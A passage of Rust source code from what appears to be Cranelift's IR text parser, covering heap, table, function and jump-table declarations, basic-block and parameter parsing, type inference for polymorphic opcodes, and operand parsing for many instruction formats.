global_type, readonly: flags.readonly(), } } "iadd_imm" => { self.match_token( Token::Dot, "expected '.' followed by type in iadd_imm global value decl", )?; let global_type = self.match_type("expected iadd type")?; let base = self.match_gv("expected global value: gv«n»")?; self.match_token( Token::Comma, "expected ',' followed by rhs in iadd_imm global value decl", )?; let offset = self.match_imm64("expected iadd_imm immediate")?; GlobalValueData::IAddImm { base, offset, global_type, } } "symbol" => { let colocated = self.optional(Token::Identifier("colocated")); let name = self.parse_external_name()?; let offset = self.optional_offset_imm64()?; GlobalValueData::Symbol { name, offset, colocated, } } other => return err!(self.loc, "Unknown global value kind '{}'", other), }; // Collect any trailing comments. self.token(); self.claim_gathered_comments(gv); Ok((gv, data)) } // Parse a heap decl. // // heap-decl ::= * Heap(heap) "=" heap-desc // heap-desc ::= heap-style heap-base { "," heap-attr } // heap-style ::= "static" | "dynamic" // heap-base ::= GlobalValue(base) // heap-attr ::= "min" Imm64(bytes) // | "bound" Imm64(bytes) // | "offset_guard" Imm64(bytes) // | "index_type" type // fn parse_heap_decl(&mut self) -> ParseResult<(Heap, HeapData)> { let heap = self.match_heap("expected heap number: heap«n»")?; self.match_token(Token::Equal, "expected '=' in heap declaration")?; let style_name = self.match_any_identifier("expected 'static' or 'dynamic'")?; // heap-desc ::= heap-style * heap-base { "," heap-attr } // heap-base ::= * GlobalValue(base) let base = match self.token() { Some(Token::GlobalValue(base_num)) => match GlobalValue::with_number(base_num) { Some(gv) => gv, None => return err!(self.loc, "invalid global value number for heap base"), }, _ => return err!(self.loc, "expected heap base"), }; self.consume(); let mut data = HeapData { base, min_size: 0.into(), offset_guard_size: 0.into(), style: HeapStyle::Static { bound: 0.into() }, index_type: ir::types::I32, }; // heap-desc ::= heap-style heap-base * { "," heap-attr } while self.optional(Token::Comma) { match self.match_any_identifier("expected heap attribute name")? { "min" => { data.min_size = self.match_uimm64("expected integer min size")?; } "bound" => { data.style = match style_name { "dynamic" => HeapStyle::Dynamic { bound_gv: self.match_gv("expected gv bound")?, }, "static" => HeapStyle::Static { bound: self.match_uimm64("expected integer bound")?, }, t => return err!(self.loc, "unknown heap style '{}'", t), }; } "offset_guard" => { data.offset_guard_size = self.match_uimm64("expected integer offset-guard size")?; } "index_type" => { data.index_type = self.match_type("expected index type")?; } t => return err!(self.loc, "unknown heap attribute '{}'", t), } } // Collect any trailing comments. self.token(); self.claim_gathered_comments(heap); Ok((heap, data)) } // Parse a table decl. // // table-decl ::= * Table(table) "=" table-desc // table-desc ::= table-style table-base { "," table-attr } // table-style ::= "dynamic" // table-base ::= GlobalValue(base) // table-attr ::= "min" Imm64(bytes) // | "bound" Imm64(bytes) // | "element_size" Imm64(bytes) // | "index_type" type // fn parse_table_decl(&mut self) -> ParseResult<(Table, TableData)> { let table = self.match_table("expected table number: table«n»")?; self.match_token(Token::Equal, "expected '=' in table declaration")?; let style_name = self.match_any_identifier("expected 'static' or 'dynamic'")?; // table-desc ::= table-style * table-base { "," table-attr } // table-base ::= * GlobalValue(base) let base = match self.token() { Some(Token::GlobalValue(base_num)) => match GlobalValue::with_number(base_num) { Some(gv) => gv, None => return err!(self.loc, "invalid global value number for table base"), }, _ => return err!(self.loc, "expected table base"), }; self.consume(); let mut data = TableData { base_gv: base, min_size: 0.into(), bound_gv: GlobalValue::reserved_value(), element_size: 0.into(), index_type: ir::types::I32, }; // table-desc ::= * { "," table-attr } while self.optional(Token::Comma) { match self.match_any_identifier("expected table attribute name")? { "min" => { data.min_size = self.match_uimm64("expected integer min size")?; } "bound" => { data.bound_gv = match style_name { "dynamic" => self.match_gv("expected gv bound")?, t => return err!(self.loc, "unknown table style '{}'", t), }; } "element_size" => { data.element_size = self.match_uimm64("expected integer element size")?; } "index_type" => { data.index_type = self.match_type("expected index type")?; } t => return err!(self.loc, "unknown table attribute '{}'", t), } } // Collect any trailing comments. self.token(); self.claim_gathered_comments(table); Ok((table, data)) } // Parse a signature decl. // // signature-decl ::= SigRef(sigref) "=" signature // fn parse_signature_decl( &mut self, unique_isa: Option<&dyn TargetIsa>, ) -> ParseResult<(SigRef, Signature)> { let sig = self.match_sig("expected signature number: sig«n»")?; self.match_token(Token::Equal, "expected '=' in signature decl")?; let data = self.parse_signature(unique_isa)?; // Collect any trailing comments. self.token(); self.claim_gathered_comments(sig); Ok((sig, data)) } // Parse a function decl. // // Two variants: // // function-decl ::= FuncRef(fnref) "=" ["colocated"]" name function-decl-sig // function-decl-sig ::= SigRef(sig) | signature // // The first variant allocates a new signature reference. The second references an existing // signature which must be declared first. // fn parse_function_decl(&mut self, ctx: &mut Context) -> ParseResult<(FuncRef, ExtFuncData)> { let fn_ = self.match_fn("expected function number: fn«n»")?; self.match_token(Token::Equal, "expected '=' in function decl")?; let loc = self.loc; // function-decl ::= FuncRef(fnref) "=" * ["colocated"] name function-decl-sig let colocated = self.optional(Token::Identifier("colocated")); // function-decl ::= FuncRef(fnref) "=" ["colocated"] * name function-decl-sig let name = self.parse_external_name()?; // function-decl ::= FuncRef(fnref) "=" ["colocated"] name * function-decl-sig let data = match self.token() { Some(Token::LPar) => { // function-decl ::= FuncRef(fnref) "=" ["colocated"] name * signature let sig = self.parse_signature(ctx.unique_isa)?; let sigref = ctx.function.import_signature(sig); ctx.map .def_entity(sigref.into(), loc) .expect("duplicate SigRef entities created"); ExtFuncData { name, signature: sigref, colocated, } } Some(Token::SigRef(sig_src)) => { let sig = match SigRef::with_number(sig_src) { None => { return err!(self.loc, "attempted to use invalid signature ss{}", sig_src); } Some(sig) => sig, }; ctx.check_sig(sig, self.loc)?; self.consume(); ExtFuncData { name, signature: sig, colocated, } } _ => return err!(self.loc, "expected 'function' or sig«n» in function decl"), }; // Collect any trailing comments. self.token(); self.claim_gathered_comments(fn_); Ok((fn_, data)) } // Parse a jump table decl. // // jump-table-decl ::= * JumpTable(jt) "=" "jump_table" "[" jt-entry {"," jt-entry} "]" fn parse_jump_table_decl(&mut self) -> ParseResult<(JumpTable, JumpTableData)> { let jt = self.match_jt()?; self.match_token(Token::Equal, "expected '=' in jump_table decl")?; self.match_identifier("jump_table", "expected 'jump_table'")?; self.match_token(Token::LBracket, "expected '[' before jump table contents")?; let mut data = JumpTableData::new(); // jump-table-decl ::= JumpTable(jt) "=" "jump_table" "[" * Ebb(dest) {"," Ebb(dest)} "]" match self.token() { Some(Token::Ebb(dest)) => { self.consume(); data.push_entry(dest); loop { match self.token() { Some(Token::Comma) => { self.consume(); if let Some(Token::Ebb(dest)) = self.token() { self.consume(); data.push_entry(dest); } else { return err!(self.loc, "expected jump_table entry"); } } Some(Token::RBracket) => break, _ => return err!(self.loc, "expected ']' after jump table contents"), } } } Some(Token::RBracket) => (), _ => return err!(self.loc, "expected jump_table entry"), } self.consume(); // Collect any trailing comments. self.token(); self.claim_gathered_comments(jt); Ok((jt, data)) } // Parse a function body, add contents to `ctx`. // // function-body ::= * { extended-basic-block } // fn parse_function_body(&mut self, ctx: &mut Context) -> ParseResult<()> { while self.token() != Some(Token::RBrace) { self.parse_extended_basic_block(ctx)?; } // Now that we've seen all defined values in the function, ensure that // all references refer to a definition. for ebb in &ctx.function.layout { for inst in ctx.function.layout.ebb_insts(ebb) { for value in ctx.function.dfg.inst_args(inst) { if !ctx.map.contains_value(*value) { return err!( ctx.map.location(AnyEntity::Inst(inst)).unwrap(), "undefined operand value {}", value ); } } } } for alias in &ctx.aliases { if !ctx.function.dfg.set_alias_type_for_parser(*alias) { let loc = ctx.map.location(AnyEntity::Value(*alias)).unwrap(); return err!(loc, "alias cycle involving {}", alias); } } Ok(()) } // Parse an extended basic block, add contents to `ctx`. // // extended-basic-block ::= * ebb-header { instruction } // ebb-header ::= Ebb(ebb) [ebb-params] ":" // fn parse_extended_basic_block(&mut self, ctx: &mut Context) -> ParseResult<()> { // Collect comments for the next ebb. self.start_gathering_comments(); let ebb_num = self.match_ebb("expected EBB header")?; let ebb = ctx.add_ebb(ebb_num, self.loc)?; if !self.optional(Token::Colon) { // ebb-header ::= Ebb(ebb) [ * ebb-params ] ":" self.parse_ebb_params(ctx, ebb)?; self.match_token(Token::Colon, "expected ':' after EBB parameters")?; } // Collect any trailing comments. self.token(); self.claim_gathered_comments(ebb); // extended-basic-block ::= ebb-header * { instruction } while match self.token() { Some(Token::Value(_)) | Some(Token::Identifier(_)) | Some(Token::LBracket) | Some(Token::SourceLoc(_)) => true, _ => false, } { let srcloc = self.optional_srcloc()?; let (encoding, result_locations) = self.parse_instruction_encoding(ctx)?; // We need to parse instruction results here because they are shared // between the parsing of value aliases and the parsing of instructions. // // inst-results ::= Value(v) { "," Value(v) } let results = self.parse_inst_results()?; for result in &results { while ctx.function.dfg.num_values() <= result.index() { ctx.function.dfg.make_invalid_value_for_parser(); } } match self.token() { Some(Token::Arrow) => { self.consume(); self.parse_value_alias(&results, ctx)?; } Some(Token::Equal) => { self.consume(); self.parse_instruction(&results, srcloc, encoding, result_locations, ctx, ebb)?; } _ if !results.is_empty() => return err!(self.loc, "expected -> or ="), _ => { self.parse_instruction(&results, srcloc, encoding, result_locations, ctx, ebb)? } } } Ok(()) } // Parse parenthesized list of EBB parameters. Returns a vector of (u32, Type) pairs with the // value numbers of the defined values and the defined types. // // ebb-params ::= * "(" ebb-param { "," ebb-param } ")" fn parse_ebb_params(&mut self, ctx: &mut Context, ebb: Ebb) -> ParseResult<()> { // ebb-params ::= * "(" ebb-param { "," ebb-param } ")" self.match_token(Token::LPar, "expected '(' before EBB parameters")?; // ebb-params ::= "(" * ebb-param { "," ebb-param } ")" self.parse_ebb_param(ctx, ebb)?; // ebb-params ::= "(" ebb-param * { "," ebb-param } ")" while self.optional(Token::Comma) { // ebb-params ::= "(" ebb-param { "," * ebb-param } ")" self.parse_ebb_param(ctx, ebb)?; } // ebb-params ::= "(" ebb-param { "," ebb-param } * ")" self.match_token(Token::RPar, "expected ')' after EBB parameters")?; Ok(()) } // Parse a single EBB parameter declaration, and append it to `ebb`. // // ebb-param ::= * Value(v) ":" Type(t) arg-loc? // arg-loc ::= "[" value-location "]" // fn parse_ebb_param(&mut self, ctx: &mut Context, ebb: Ebb) -> ParseResult<()> { // ebb-param ::= * Value(v) ":" Type(t) arg-loc? let v = self.match_value("EBB argument must be a value")?; let v_location = self.loc; // ebb-param ::= Value(v) * ":" Type(t) arg-loc? self.match_token(Token::Colon, "expected ':' after EBB argument")?; // ebb-param ::= Value(v) ":" * Type(t) arg-loc? while ctx.function.dfg.num_values() <= v.index() { ctx.function.dfg.make_invalid_value_for_parser(); } let t = self.match_type("expected EBB argument type")?; // Allocate the EBB argument. ctx.function.dfg.append_ebb_param_for_parser(ebb, t, v); ctx.map.def_value(v, v_location)?; // ebb-param ::= Value(v) ":" Type(t) * arg-loc? if self.optional(Token::LBracket) { let loc = self.parse_value_location(ctx)?; ctx.function.locations[v] = loc; self.match_token(Token::RBracket, "expected ']' after value location")?; } Ok(()) } fn parse_value_location(&mut self, ctx: &Context) -> ParseResult<ValueLoc> { match self.token() { Some(Token::StackSlot(src_num)) => { self.consume(); let ss = match StackSlot::with_number(src_num) { None => { return err!( self.loc, "attempted to use invalid stack slot ss{}", src_num ); } Some(ss) => ss, }; ctx.check_ss(ss, self.loc)?; Ok(ValueLoc::Stack(ss)) } Some(Token::Name(name)) => { self.consume(); if let Some(isa) = ctx.unique_isa { isa.register_info() .parse_regunit(name) .map(ValueLoc::Reg) .ok_or_else(|| self.error("invalid register value location")) } else { err!(self.loc, "value location requires exactly one isa") } } Some(Token::Minus) => { self.consume(); Ok(ValueLoc::Unassigned) } _ => err!(self.loc, "invalid value location"), } } fn parse_instruction_encoding( &mut self, ctx: &Context, ) -> ParseResult<(Option<Encoding>, Option<Vec<ValueLoc>>)> { let (mut encoding, mut result_locations) = (None, None); // encoding ::= "[" encoding_literal result_locations "]" if self.optional(Token::LBracket) { // encoding_literal ::= "-" | Identifier HexSequence if !self.optional(Token::Minus) { let recipe = self.match_any_identifier("expected instruction encoding or '-'")?; let bits = self.match_hex16("expected a hex sequence")?; if let Some(recipe_index) = ctx.find_recipe_index(recipe) { encoding = Some(Encoding::new(recipe_index, bits)); } else if ctx.unique_isa.is_some() { return err!(self.loc, "invalid instruction recipe"); } else { // We allow encodings to be specified when there's no unique ISA purely // for convenience, eg when copy-pasting code for a test. } } // result_locations ::= ("," ( "-" | names ) )? // names ::= Name { "," Name } if self.optional(Token::Comma) { let mut results = Vec::new(); results.push(self.parse_value_location(ctx)?); while self.optional(Token::Comma) { results.push(self.parse_value_location(ctx)?); } result_locations = Some(results); } self.match_token( Token::RBracket, "expected ']' to terminate instruction encoding", )?; } Ok((encoding, result_locations)) } // Parse instruction results and return them. // // inst-results ::= Value(v) { "," Value(v) } // fn parse_inst_results(&mut self) -> ParseResult<Vec<Value>> { // Result value numbers. let mut results = Vec::new(); // instruction ::= * [inst-results "="] Opcode(opc) ["." Type] ... // inst-results ::= * Value(v) { "," Value(v) } if let Some(Token::Value(v)) = self.token() { self.consume(); results.push(v); // inst-results ::= Value(v) * { "," Value(v) } while self.optional(Token::Comma) { // inst-results ::= Value(v) { "," * Value(v) } results.push(self.match_value("expected result value")?); } } Ok(results) } // Parse a value alias, and append it to `ebb`. // // value_alias ::= [inst-results] "->" Value(v) // fn parse_value_alias(&mut self, results: &[Value], ctx: &mut Context) -> ParseResult<()> { if results.len() != 1 { return err!(self.loc, "wrong number of aliases"); } let result = results[0]; let dest = self.match_value("expected value alias")?; // Allow duplicate definitions of aliases, as long as they are identical. if ctx.map.contains_value(result) { if let Some(old) = ctx.function.dfg.value_alias_dest_for_serialization(result) { if old != dest { return err!( self.loc, "value {} is already defined as an alias with destination {}", result, old ); } } else { return err!(self.loc, "value {} is already defined"); } } else { ctx.map.def_value(result, self.loc)?; } if !ctx.map.contains_value(dest) { return err!(self.loc, "value {} is not yet defined", dest); } ctx.function .dfg .make_value_alias_for_serialization(dest, result); ctx.aliases.push(result); Ok(()) } // Parse an instruction, append it to `ebb`. // // instruction ::= [inst-results "="] Opcode(opc) ["." Type] ... // fn parse_instruction( &mut self, results: &[Value], srcloc: ir::SourceLoc, encoding: Option<Encoding>, result_locations: Option<Vec<ValueLoc>>, ctx: &mut Context, ebb: Ebb, ) -> ParseResult<()> { // Define the result values. for val in results { ctx.map.def_value(*val, self.loc)?; } // Collect comments for the next instruction. self.start_gathering_comments(); // instruction ::= [inst-results "="] * Opcode(opc) ["." Type] ... let opcode = if let Some(Token::Identifier(text)) = self.token() { match text.parse() { Ok(opc) => opc, Err(msg) => return err!(self.loc, "{}: '{}'", msg, text), } } else { return err!(self.loc, "expected instruction opcode"); }; let opcode_loc = self.loc; self.consume(); // Look for a controlling type variable annotation. // instruction ::= [inst-results "="] Opcode(opc) * ["." Type] ... let explicit_ctrl_type = if self.optional(Token::Dot) { Some(self.match_type("expected type after 'opcode.'")?) } else { None }; // instruction ::= [inst-results "="] Opcode(opc) ["." Type] * ... let inst_data = self.parse_inst_operands(ctx, opcode, explicit_ctrl_type)?; // We're done parsing the instruction now. // // We still need to check that the number of result values in the source matches the opcode // or function call signature. We also need to create values with the right type for all // the instruction results. let ctrl_typevar = self.infer_typevar(ctx, opcode, explicit_ctrl_type, &inst_data)?; let inst = ctx.function.dfg.make_inst(inst_data); let num_results = ctx.function .dfg .make_inst_results_for_parser(inst, ctrl_typevar, results); ctx.function.layout.append_inst(inst, ebb); ctx.map .def_entity(inst.into(), opcode_loc) .expect("duplicate inst references created"); if !srcloc.is_default() { ctx.function.srclocs[inst] = srcloc; } if let Some(encoding) = encoding { ctx.function.encodings[inst] = encoding; } if results.len() != num_results { return err!( self.loc, "instruction produces {} result values, {} given", num_results, results.len() ); } if let Some(ref result_locations) = result_locations { if results.len() != result_locations.len() { return err!( self.loc, "instruction produces {} result values, but {} locations were \ specified", results.len(), result_locations.len() ); } } if let Some(result_locations) = result_locations { for (&value, loc) in ctx .function .dfg .inst_results(inst) .iter() .zip(result_locations) { ctx.function.locations[value] = loc; } } // Collect any trailing comments. self.token(); self.claim_gathered_comments(inst); Ok(()) } // Type inference for polymorphic instructions. // // The controlling type variable can be specified explicitly as 'splat.i32x4 v5', or it can be // inferred from `inst_data.typevar_operand` for some opcodes. // // Returns the controlling typevar for a polymorphic opcode, or `INVALID` for a non-polymorphic // opcode. fn infer_typevar( &self, ctx: &Context, opcode: Opcode, explicit_ctrl_type: Option<Type>, inst_data: &InstructionData, ) -> ParseResult<Type> { let constraints = opcode.constraints(); let ctrl_type = match explicit_ctrl_type { Some(t) => t, None => { if constraints.use_typevar_operand() { // This is an opcode that supports type inference, AND there was no // explicit type specified. Look up `ctrl_value` to see if it was defined // already. // TBD: If it is defined in another block, the type should have been // specified explicitly. It is unfortunate that the correctness of IR // depends on the layout of the blocks. let ctrl_src_value = inst_data .typevar_operand(&ctx.function.dfg.value_lists) .expect("Constraints <-> Format inconsistency"); if !ctx.map.contains_value(ctrl_src_value) { return err!( self.loc, "type variable required for polymorphic opcode, e.g. '{}.{}'; \ can't infer from {} which is not yet defined", opcode, constraints.ctrl_typeset().unwrap().example(), ctrl_src_value ); } if !ctx.function.dfg.value_is_valid_for_parser(ctrl_src_value) { return err!( self.loc, "type variable required for polymorphic opcode, e.g. '{}.{}'; \ can't infer from {} which is not yet resolved", opcode, constraints.ctrl_typeset().unwrap().example(), ctrl_src_value ); } ctx.function.dfg.value_type(ctrl_src_value) } else if constraints.is_polymorphic() { // This opcode does not support type inference, so the explicit type // variable is required. return err!( self.loc, "type variable required for polymorphic opcode, e.g. '{}.{}'", opcode, constraints.ctrl_typeset().unwrap().example() ); } else { // This is a non-polymorphic opcode. No typevar needed. INVALID } } }; // Verify that `ctrl_type` is valid for the controlling type variable. We don't want to // attempt deriving types from an incorrect basis. // This is not a complete type check. The verifier does that. if let Some(typeset) = constraints.ctrl_typeset() { // This is a polymorphic opcode. if !typeset.contains(ctrl_type) { return err!( self.loc, "{} is not a valid typevar for {}", ctrl_type, opcode ); } // Treat it as a syntax error to specify a typevar on a non-polymorphic opcode. } else if ctrl_type != INVALID { return err!(self.loc, "{} does not take a typevar", opcode); } Ok(ctrl_type) } // Parse comma-separated value list into a VariableArgs struct. // // value_list ::= [ value { "," value } ] // fn parse_value_list(&mut self) -> ParseResult<VariableArgs> { let mut args = VariableArgs::new(); if let Some(Token::Value(v)) = self.token() { args.push(v); self.consume(); } else { return Ok(args); } while self.optional(Token::Comma) { args.push(self.match_value("expected value in argument list")?); } Ok(args) } fn parse_value_sequence(&mut self) -> ParseResult<VariableArgs> { let mut args = VariableArgs::new(); if let Some(Token::Value(v)) = self.token() { args.push(v); self.consume(); } else { return Ok(args); } while self.optional(Token::Plus) { args.push(self.match_value("expected value in argument list")?); } Ok(args) } // Parse an optional value list enclosed in parentheses. fn parse_opt_value_list(&mut self) -> ParseResult<VariableArgs> { if !self.optional(Token::LPar) { return Ok(VariableArgs::new()); } let args = self.parse_value_list()?; self.match_token(Token::RPar, "expected ')' after arguments")?; Ok(args) } // Parse the operands following the instruction opcode. // This depends on the format of the opcode. fn parse_inst_operands( &mut self, ctx: &mut Context, opcode: Opcode, explicit_control_type: Option<Type>, ) -> ParseResult<InstructionData> { let idata = match opcode.format() { InstructionFormat::Unary => InstructionData::Unary { opcode, arg: self.match_value("expected SSA value operand")?, }, InstructionFormat::UnaryImm => InstructionData::UnaryImm { opcode, imm: self.match_imm64("expected immediate integer operand")?, }, InstructionFormat::UnaryImm128 => match explicit_control_type { None => { return err!( self.loc, "Expected {:?} to have a controlling type variable, e.g. inst.i32x4", opcode ) } Some(ty) => { let uimm128 = self.match_uimm128_or_literals(ty)?; let constant_handle = ctx.function.dfg.constants.insert(uimm128.0.to_vec()); InstructionData::UnaryImm128 { opcode, imm: constant_handle, } } }, InstructionFormat::UnaryIeee32 => InstructionData::UnaryIeee32 { opcode, imm: self.match_ieee32("expected immediate 32-bit float operand")?, }, InstructionFormat::UnaryIeee64 => InstructionData::UnaryIeee64 { opcode, imm: self.match_ieee64("expected immediate 64-bit float operand")?, }, InstructionFormat::UnaryBool => InstructionData::UnaryBool { opcode, imm: self.match_bool("expected immediate boolean operand")?, }, InstructionFormat::UnaryGlobalValue => { let gv = self.match_gv("expected global value")?; ctx.check_gv(gv, self.loc)?; InstructionData::UnaryGlobalValue { opcode, global_value: gv, } } InstructionFormat::Binary => { let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_value("expected SSA value second operand")?; InstructionData::Binary { opcode, args: [lhs, rhs], } } InstructionFormat::BinaryImm => { let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_imm64("expected immediate integer second operand")?; InstructionData::BinaryImm { opcode, arg: lhs, imm: rhs, } } InstructionFormat::Ternary => { // Names here refer to the `select` instruction. // This format is also use by `fma`. let ctrl_arg = self.match_value("expected SSA value control operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let true_arg = self.match_value("expected SSA value true operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let false_arg = self.match_value("expected SSA value false operand")?; InstructionData::Ternary { opcode, args: [ctrl_arg, true_arg, false_arg], } } InstructionFormat::MultiAry => { let args = self.parse_value_list()?; InstructionData::MultiAry { opcode, args: args.into_value_list(&[], &mut ctx.function.dfg.value_lists), } } InstructionFormat::NullAry => InstructionData::NullAry { opcode }, InstructionFormat::Jump => { // Parse the destination EBB number. let ebb_num = self.match_ebb("expected jump destination EBB")?; let args = self.parse_opt_value_list()?; InstructionData::Jump { opcode, destination: ebb_num, args: args.into_value_list(&[], &mut ctx.function.dfg.value_lists), } } InstructionFormat::Branch => { let ctrl_arg = self.match_value("expected SSA value control operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ebb_num = self.match_ebb("expected branch destination EBB")?; let args = self.parse_opt_value_list()?; InstructionData::Branch { opcode, destination: ebb_num, args: args.into_value_list(&[ctrl_arg], &mut ctx.function.dfg.value_lists), } } InstructionFormat::BranchInt => { let cond = self.match_enum("expected intcc condition code")?; let arg = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ebb_num = self.match_ebb("expected branch destination EBB")?; let args = self.parse_opt_value_list()?; InstructionData::BranchInt { opcode, cond, destination: ebb_num, args: args.into_value_list(&[arg], &mut ctx.function.dfg.value_lists), } } InstructionFormat::BranchFloat => { let cond = self.match_enum("expected floatcc condition code")?; let arg = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ebb_num = self.match_ebb("expected branch destination EBB")?; let args = self.parse_opt_value_list()?; InstructionData::BranchFloat { opcode, cond, destination: ebb_num, args: args.into_value_list(&[arg], &mut ctx.function.dfg.value_lists), } } InstructionFormat::BranchIcmp => { let cond = self.match_enum("expected intcc condition code")?; let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_value("expected SSA value second operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ebb_num = self.match_ebb("expected branch destination EBB")?; let args = self.parse_opt_value_list()?; InstructionData::BranchIcmp { opcode, cond, destination: ebb_num, args: args.into_value_list(&[lhs, rhs], &mut ctx.function.dfg.value_lists), } } InstructionFormat::BranchTable => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ebb_num = self.match_ebb("expected branch destination EBB")?; self.match_token(Token::Comma, "expected ',' between operands")?; let table = self.match_jt()?; ctx.check_jt(table, self.loc)?; InstructionData::BranchTable { opcode, arg, destination: ebb_num, table, } } InstructionFormat::BranchTableBase => { let table = self.match_jt()?; ctx.check_jt(table, self.loc)?; InstructionData::BranchTableBase { opcode, table } } InstructionFormat::BranchTableEntry => { let index = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let base = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let imm = self.match_uimm8("expected width")?; self.match_token(Token::Comma, "expected ',' between operands")?; let table = self.match_jt()?; ctx.check_jt(table, self.loc)?; InstructionData::BranchTableEntry { opcode, args: [index, base], imm, table, } } InstructionFormat::IndirectJump => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let table = self.match_jt()?; ctx.check_jt(table, self.loc)?; InstructionData::IndirectJump { opcode, arg, table } } InstructionFormat::InsertLane => { let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let lane = self.match_uimm8("expected lane number")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_value("expected SSA value last operand")?; InstructionData::InsertLane { opcode, lane, args: [lhs, rhs], } } InstructionFormat::ExtractLane => { let arg = self.match_value("expected SSA value last operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let lane = self.match_uimm8("expected lane number")?; InstructionData::ExtractLane { opcode, lane, arg } } InstructionFormat::IntCompare => { let cond = self.match_enum("expected intcc condition code")?; let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_value("expected SSA value second operand")?; InstructionData::IntCompare { opcode, cond, args: [lhs, rhs], } } InstructionFormat::IntCompareImm => { let cond = self.match_enum("expected intcc condition code")?; let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_imm64("expected immediate second operand")?; InstructionData::IntCompareImm { opcode, cond, arg: lhs, imm: rhs, } } InstructionFormat::IntCond => { let cond = self.match_enum("expected intcc condition code")?; let arg = self.match_value("expected SSA value")?; InstructionData::IntCond { opcode, cond, arg } } InstructionFormat::FloatCompare => { let cond = self.match_enum("expected floatcc condition code")?; let lhs = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let rhs = self.match_value("expected SSA value second operand")?; InstructionData::FloatCompare { opcode, cond, args: [lhs, rhs], } } InstructionFormat::FloatCond => { let cond = self.match_enum("expected floatcc condition code")?; let arg = self.match_value("expected SSA value")?; InstructionData::FloatCond { opcode, cond, arg } } InstructionFormat::IntSelect => { let cond = self.match_enum("expected intcc condition code")?; let guard = self.match_value("expected SSA value first operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let v_true = self.match_value("expected SSA value second operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let v_false = self.match_value("expected SSA value third operand")?; InstructionData::IntSelect { opcode, cond, args: [guard, v_true, v_false], } } InstructionFormat::Call => { let func_ref = self.match_fn("expected function reference")?; ctx.check_fn(func_ref, self.loc)?; self.match_token(Token::LPar, "expected '(' before arguments")?; let args = self.parse_value_list()?; self.match_token(Token::RPar, "expected ')' after arguments")?; InstructionData::Call { opcode, func_ref, args: args.into_value_list(&[], &mut ctx.function.dfg.value_lists), } } InstructionFormat::CallIndirect => { let sig_ref = self.match_sig("expected signature reference")?; ctx.check_sig(sig_ref, self.loc)?; self.match_token(Token::Comma, "expected ',' between operands")?; let callee = self.match_value("expected SSA value callee operand")?; self.match_token(Token::LPar, "expected '(' before arguments")?; let args = self.parse_value_list()?; self.match_token(Token::RPar, "expected ')' after arguments")?; InstructionData::CallIndirect { opcode, sig_ref, args: args.into_value_list(&[callee], &mut ctx.function.dfg.value_lists), } } InstructionFormat::FuncAddr => { let func_ref = self.match_fn("expected function reference")?; ctx.check_fn(func_ref, self.loc)?; InstructionData::FuncAddr { opcode, func_ref } } InstructionFormat::StackLoad => { let ss = self.match_ss("expected stack slot number: ss«n»")?; ctx.check_ss(ss, self.loc)?; let offset = self.optional_offset32()?; InstructionData::StackLoad { opcode, stack_slot: ss, offset, } } InstructionFormat::StackStore => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let ss = self.match_ss("expected stack slot number: ss«n»")?; ctx.check_ss(ss, self.loc)?; let offset = self.optional_offset32()?; InstructionData::StackStore { opcode, arg, stack_slot: ss, offset, } } InstructionFormat::HeapAddr => { let heap = self.match_heap("expected heap identifier")?; ctx.check_heap(heap, self.loc)?; self.match_token(Token::Comma, "expected ',' between operands")?; let arg = self.match_value("expected SSA value heap address")?; self.match_token(Token::Comma, "expected ',' between operands")?; let imm = self.match_uimm32("expected 32-bit integer size")?; InstructionData::HeapAddr { opcode, heap, arg, imm, } } InstructionFormat::TableAddr => { let table = self.match_table("expected table identifier")?; ctx.check_table(table, self.loc)?; self.match_token(Token::Comma, "expected ',' between operands")?; let arg = self.match_value("expected SSA value table address")?; self.match_token(Token::Comma, "expected ',' between operands")?; let offset = self.optional_offset32()?; InstructionData::TableAddr { opcode, table, arg, offset, } } InstructionFormat::Load => { let flags = self.optional_memflags(); let addr = self.match_value("expected SSA value address")?; let offset = self.optional_offset32()?; InstructionData::Load { opcode, flags, arg: addr, offset, } } InstructionFormat::LoadComplex => { let flags = self.optional_memflags(); let args = self.parse_value_sequence()?; let offset = self.optional_offset32()?; InstructionData::LoadComplex { opcode, flags, args: args.into_value_list(&[], &mut ctx.function.dfg.value_lists), offset, } } InstructionFormat::Store => { let flags = self.optional_memflags(); let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let addr = self.match_value("expected SSA value address")?; let offset = self.optional_offset32()?; InstructionData::Store { opcode, flags, args: [arg, addr], offset, } } InstructionFormat::StoreComplex => { let flags = self.optional_memflags(); let src = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let args = self.parse_value_sequence()?; let offset = self.optional_offset32()?; InstructionData::StoreComplex { opcode, flags, args: args.into_value_list(&[src], &mut ctx.function.dfg.value_lists), offset, } } InstructionFormat::RegMove => { let arg = self.match_value("expected SSA value operand")?; self.match_token(Token::Comma, "expected ',' between operands")?; let src = 